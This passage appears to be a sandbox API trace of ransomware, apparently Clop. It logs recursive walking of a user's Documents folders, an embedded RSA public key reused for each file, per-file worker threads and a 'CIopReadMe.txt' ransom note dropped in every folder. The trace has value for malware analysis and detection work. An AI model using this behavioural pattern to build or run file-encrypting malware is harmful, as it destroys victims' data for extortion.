NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0090.700] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="lcfkj@kiekc.df.pst" | out: lpString1="lcfkj@kiekc.df.pst") returned="lcfkj@kiekc.df.pst" [0090.700] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" [0090.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f4 [0090.701] SetErrorMode (uMode=0x1) returned 0x1 [0090.701] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\CIopReadMe.txt") returned 60 [0090.701] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\outlook files\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.701] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0090.701] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0090.701] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0090.701] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0090.701] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0090.701] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\outlook files\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x404 [0090.702] WriteFile (in: hFile=0x404, lpBuffer=0x612918*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc6e04, lpOverlapped=0x0 | out: lpBuffer=0x612918*, lpNumberOfBytesWritten=0x2dc6e04*=0x759, lpOverlapped=0x0) returned 1 [0090.702] CloseHandle (hObject=0x404) returned 1 [0090.702] FindNextFileW (in: hFindFile=0x5d6488, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0090.702] FindClose (in: hFindFile=0x5d6488 | out: hFindFile=0x5d6488) returned 1 [0090.703] FindClose (in: hFindFile=0x5d6488 | out: hFindFile=0x5d6488) returned 0 [0090.703] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" [0090.703] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*" [0090.703] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x5d6488 [0090.703] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="Outlook Files" [0090.703] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Outlook Files" | out: lpString1="Outlook Files") returned="Outlook Files" [0090.703] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0090.703] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.703] FindNextFileW (in: hFindFile=0x5d6488, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0090.703] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0090.703] FindNextFileW (in: hFindFile=0x5d6488, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0090.703] FindNextFileW (in: hFindFile=0x5d6488, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0090.703] FindNextFileW (in: hFindFile=0x5d6488, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0090.703] FindClose (in: hFindFile=0x5d6488 | out: hFindFile=0x5d6488) returned 1 [0090.703] FindClose (in: hFindFile=0x5d6488 | out: hFindFile=0x5d6488) returned 0 [0090.703] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0090.703] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0090.703] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0090.703] lstrcmpW (lpString1="WZsO9vKmM1PXfg", lpString2="..") returned 1 [0090.703] lstrcmpW (lpString1="WZsO9vKmM1PXfg", lpString2=".") returned 1 [0090.703] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0090.703] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0090.703] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0090.704] SetErrorMode (uMode=0x1) returned 0x1 [0090.704] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0090.704] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" [0090.704] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" [0090.704] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*" [0090.704] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x5d6488 [0090.704] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0090.704] lstrcpyW (in: lpString1=0x2dc7014, lpString2="WZsO9vKmM1PXfg" | out: lpString1="WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0090.704] FindNextFileW (in: hFindFile=0x5d6488, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0090.704] FindNextFileW (in: hFindFile=0x5d6488, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0090.704] lstrcmpW (lpString1="uhL6PZJxrZwaAeTB.ods", lpString2="..") returned 1 [0090.704] lstrcmpW (lpString1="uhL6PZJxrZwaAeTB.ods", lpString2=".") returned 1 [0090.704] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\") returned 51 [0090.704] Sleep (dwMilliseconds=0xd) [0090.732] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0090.732] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="uhL6PZJxrZwaAeTB.ods" | out: lpString1="uhL6PZJxrZwaAeTB.ods") returned="uhL6PZJxrZwaAeTB.ods" [0090.732] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" [0090.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x404 [0090.732] SetErrorMode (uMode=0x1) returned 0x1 [0090.732] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\CIopReadMe.txt") returned 61 [0090.732] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.732] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0090.733] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0090.733] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0090.733] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0090.733] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0090.733] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x410 [0090.794] WriteFile (in: hFile=0x410, lpBuffer=0x6834b8*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc6e04, lpOverlapped=0x0 | out: lpBuffer=0x6834b8*, lpNumberOfBytesWritten=0x2dc6e04*=0x759, lpOverlapped=0x0) returned 1 [0090.795] CloseHandle (hObject=0x410) returned 1 [0090.795] FindNextFileW (in: hFindFile=0x5d6488, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0090.795] FindNextFileW (in: hFindFile=0x5d6488, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0090.795] FindClose (in: hFindFile=0x5d6488 | out: hFindFile=0x5d6488) returned 1 [0090.795] FindClose (in: hFindFile=0x5d6488 | out: hFindFile=0x5d6488) returned 0 [0090.796] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0090.796] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*" [0090.796] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x5c3490 [0090.796] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0090.796] lstrcpyW (in: lpString1=0x2dc7014, lpString2="WZsO9vKmM1PXfg" | out: lpString1="WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0090.796] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0090.796] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.796] FindNextFileW (in: hFindFile=0x5c3490, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0090.796] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0090.796] FindNextFileW (in: hFindFile=0x5c3490, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0090.796] FindNextFileW (in: hFindFile=0x5c3490, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0090.796] lstrcmpW (lpString1="us_5U4ni7qwInOUE", lpString2="..") returned 1 [0090.796] lstrcmpW (lpString1="us_5U4ni7qwInOUE", lpString2=".") returned 1 [0090.796] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0090.796] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" [0090.796] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\", lpString2="us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0090.796] SetErrorMode (uMode=0x1) returned 0x1 [0090.796] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0090.796] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0090.796] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0090.796] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*" [0090.796] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x5c38d0 [0090.796] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0090.796] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="us_5U4ni7qwInOUE" | out: lpString1="us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0090.796] FindNextFileW (in: hFindFile=0x5c38d0, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0090.796] FindNextFileW (in: hFindFile=0x5c38d0, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0090.796] FindNextFileW (in: hFindFile=0x5c38d0, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0090.797] FindNextFileW (in: hFindFile=0x5c38d0, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0090.797] FindNextFileW (in: hFindFile=0x5c38d0, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0090.797] FindNextFileW (in: hFindFile=0x5c38d0, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0090.797] FindNextFileW (in: hFindFile=0x5c38d0, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0090.797] FindClose (in: hFindFile=0x5c38d0 | out: hFindFile=0x5c38d0) returned 1 [0090.797] FindClose (in: hFindFile=0x5c38d0 | out: hFindFile=0x5c38d0) returned 0 [0090.797] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0090.797] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*" [0090.797] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x5c3910 [0090.797] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0090.797] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="us_5U4ni7qwInOUE" | out: lpString1="us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0090.797] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0090.797] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0090.797] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0090.797] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0090.797] FindNextFileW (in: hFindFile=0x5c3910, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0090.797] lstrcmpW (lpString1="-3ostnyb", lpString2="..") returned 1 [0090.797] lstrcmpW (lpString1="-3ostnyb", lpString2=".") returned 1 [0090.797] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0090.797] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0090.797] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0090.797] SetErrorMode (uMode=0x1) returned 0x1 [0090.797] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0090.798] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0090.798] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0090.798] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*" [0090.798] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x5c3610 [0090.798] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="-3ostnyb" [0090.798] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-3ostnyb" | out: lpString1="-3ostnyb") returned="-3ostnyb" [0090.798] FindNextFileW (in: hFindFile=0x5c3610, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0090.798] FindNextFileW (in: hFindFile=0x5c3610, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0090.798] lstrcmpW (lpString1="-PZcxu.pps", lpString2="..") returned 1 [0090.798] lstrcmpW (lpString1="-PZcxu.pps", lpString2=".") returned 1 [0090.798] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned 77 [0090.798] Sleep (dwMilliseconds=0xd) [0090.825] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0090.825] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="-PZcxu.pps" | out: lpString1="-PZcxu.pps") returned="-PZcxu.pps" [0090.825] lstrcpyW (in: lpString1=0x2dc3b36, 